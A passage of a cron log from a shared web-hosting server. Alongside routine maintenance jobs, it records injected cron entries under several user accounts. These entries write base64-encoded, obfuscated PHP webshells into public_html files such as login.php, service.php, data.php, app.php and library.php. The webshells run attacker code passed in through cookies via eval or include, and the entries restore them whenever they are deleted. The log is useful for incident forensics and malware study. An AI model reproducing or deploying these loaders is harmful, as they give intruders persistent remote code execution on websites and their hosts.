wgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:44:02 medusa CROND[25527]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 15:44:02 medusa CROND[25528]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:44:02 medusa CROND[25530]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 15:44:02 medusa CROND[25531]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:44:02 medusa CROND[25532]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 15:44:02 medusa CROND[25533]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 15:44:02 medusa CROND[25535]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:45:01 medusa CROND[11401]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 15:45:02 medusa CROND[11710]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 15:45:02 medusa CROND[11711]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 15:45:02 medusa CROND[11712]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 15:45:02 medusa CROND[11713]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 15:45:02 medusa CROND[11714]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:45:02 medusa CROND[11715]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 15:45:02 medusa CROND[11719]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 15:45:02 medusa CROND[11723]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 15:45:02 medusa CROND[11720]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 15:45:02 medusa CROND[11729]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 15:45:02 medusa CROND[11725]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 15:45:02 medusa CROND[11730]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 15:45:02 medusa CROND[11731]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 15:45:02 medusa CROND[11733]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  2 15:45:02 medusa CROND[11735]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:45:02 medusa CROND[11736]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 15:45:02 medusa CROND[11737]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 15:45:02 medusa CROND[11751]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 15:45:02 medusa CROND[11760]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:45:02 medusa CROND[11755]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 15:45:02 medusa CROND[11764]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:45:02 medusa CROND[11756]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 15:46:01 medusa CROND[29488]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 15:46:01 medusa CROND[29715]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 15:46:01 medusa CROND[29716]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 15:46:01 medusa CROND[29717]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:46:01 medusa CROND[29719]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 15:46:01 medusa CROND[29720]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 15:46:01 medusa CROND[29721]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8X